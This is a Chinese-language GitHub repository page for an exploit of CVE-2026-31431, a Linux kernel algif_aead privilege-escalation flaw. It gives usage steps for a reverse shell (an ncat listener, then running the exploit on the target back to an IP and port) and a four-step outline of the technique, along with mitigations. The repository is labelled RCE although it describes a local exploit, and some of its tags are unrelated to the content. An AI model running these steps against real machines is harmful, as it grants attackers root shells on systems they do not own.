M4xSec/CVE-2026-31431-RCE-Exploit

GitHub: M4xSec/CVE-2026-31431-RCE-Exploit

针对 Linux 内核 algif_aead 加密子系统逻辑缺陷的本地提权漏洞利用工具,可向任意可读文件的页缓存写入可控字节从而在数秒内获取 root 权限。

Stars: 2 | Forks: 1

# 🔴 CVE-2026-31431 — "复制失败" ### 一个导致数秒内获取 Root 权限的 9 年前 Linux 内核逻辑漏洞 [![CVE](https://img.shields.io/badge/CVE-2026--31431-red?style=for-the-badge)](https://nvd.nist.gov/vuln/detail/CVE-2026-31431) [![CVSS](https://img.shields.io/badge/CVSS-7.8%20HIGH-orange?style=for-the-badge)](#) [![Kernel](https://img.shields.io/badge/Linux%20Kernel-4.14%E2%80%937.0--rc-blue?style=for-the-badge)](#affected-versions) [![Since](https://img.shields.io/badge/Introduced-August%202017-yellow?style=for-the-badge)](#timeline) ## 概述 **Copy Fail** 是 Linux 内核加密子系统(`algif_aead`)中的一个高危本地提权(LPE)漏洞。该漏洞由 **Theori**(通过其 **Xint Code** AI 辅助漏洞研究工具)于 **2026 年 4 月 29 日**发现并披露。该缺陷允许任何无特权的本地用户向任何可读文件的页缓存中写入 4 个可控字节——并利用这一点在自 2017 年以来发布的几乎所有主要 Linux 发行版上获取 **root** 权限。 一个有效的概念验证(PoC) exploit 仅有约 **732 字节的 Python** 代码。 ## 漏洞利用 1. 启动 Ncat 监听器 ``` sudo ncat -lvnp PORT ``` 2. 在目标机器上执行 exploit ``` # 使用 Python 脚本 python3 CVE-2026-31431-Exploit.py IP PORT # 编译的二进制文件 chmod +x CVE-2026-31431-Exploit ./CVE-2026-31431-Exploit IP PORT ``` ## 🧬 技术摘要 | 字段 | 详情 | |---|---| | **CVE ID** | CVE-2026-31431 | | **CVSS 评分** | 7.8 (HIGH) | | **类型** | 本地提权 (LPE) | | **组件** | `algif_aead` — Linux 内核 AF_ALG 用户态加密接口 | | **根本原因** | `authencesn` AEAD 模板中的逻辑缺陷;一个就地优化(commit `72548b093ee3`,2017 年 8 月)导致页缓存页面出现在内核的可写目标 scatterlist 中 | | **原语** | 向任何可读文件的页缓存中进行 4 字节可控写入 | | **漏洞利用机制** | AF_ALG socket → `splice()` → setuid 二进制文件的页缓存损坏 → root | | **存在竞态条件?** | ❌ 无 — 直线逻辑缺陷,100% 可靠 | | **需要内核偏移量?** | ❌ 不需要 | | **修复提交** | `fafe0fa2995a`(回退了 2017 年的优化) | ### 漏洞利用原理(4 步) 1. **打开**一个 `AF_ALG` socket 并绑定到 `authencesn(hmac(sha256),cbc(aes))` 2. **拼接** 一个可读的 setuid 二进制文件的页面到该 socket 3. 内核的 AEAD 临时写入覆盖了该二进制文件页缓存中的 **4 个字节** 4. **执行** 现已损坏的 setuid 二进制文件 → **获取 root shell** ### 为什么它很危险 - **没有竞态窗口** — 确定性的,每次都有效 - **不需要内核偏移量 / 绕过 KASLR** - **同一个 exploit 可跨发行版使用** — Ubuntu、RHEL、Amazon Linux、SUSE、Rocky 等 - **容器逃逸** — 页缓存是共享的;从容器内部进行的写入会影响宿主机 - **不修改磁盘** — 文件完整性监控工具(AIDE、OSSEC 等)无法检测到它 - **磁盘上没有取证痕迹** ## 🎯 受影响的版本 | 受影响 | 不受影响 | |---|---| | Linux 内核 **4.14** 到 **7.0-rc** | 4.14 之前的内核(2017 年 8 月提交之前) | | **6.18.22** 之前的所有 **6.18.x** 版本 | **6.18.22+**(已修补) | | **6.19.12** 之前的所有 **6.19.x** 版本 | **6.19.12+**(已修补) | ### 已确认受影响的发行版 - Ubuntu 24.04 LTS - Amazon Linux 2023 - RHEL 10.1 - SUSE 16 - Rocky Linux 9.7 ## 🛡️ 缓解措施 ### 1. 打补丁(推荐) 将您的内核更新为包含修复提交 `fafe0fa2995a` 的版本。大多数主要发行版已经发布或正在发布更新的内核包。 ### 2. 临时解决方法 如果您无法立即打补丁: - 通过 seccomp 策略**阻止创建 AF_ALG socket** - **将 `algif_aead` 模块加入黑名单:** echo "blacklist algif_aead" | sudo tee /etc/modprobe.d/disable-algif-aead.conf sudo modprobe -r algif_aead 2>/dev/null ## ⚠️ 免责声明 本仓库**仅用于教育和防御目的**。此处的信息旨在帮助安全团队理解、检测和缓解 CVE-2026-31431。请始终遵循负责任的漏洞披露实践和适用法律。 ### ⭐ Star 本仓库,随时获取有关补丁和检测指南的最新信息。
标签:0day, AF_ALG, algif_aead, Copy Fail, CVE-2026-31431, CVSS 7.8, Exploit, Linux内核漏洞, LPE, Ncat, PoC, RCE, Root提权, Web报告查看器, 任意文件写, 反向Shell, 子域名枚举, 安全渗透, 密码学子系统, 底层安全, 提权漏洞, 攻击路径可视化, 暴力破解, 本地提权, 系统安全, 编程工具, 网络安全, 远程代码执行, 逆向工具, 隐私保护, 零日漏洞, 页面缓存, 黑客工具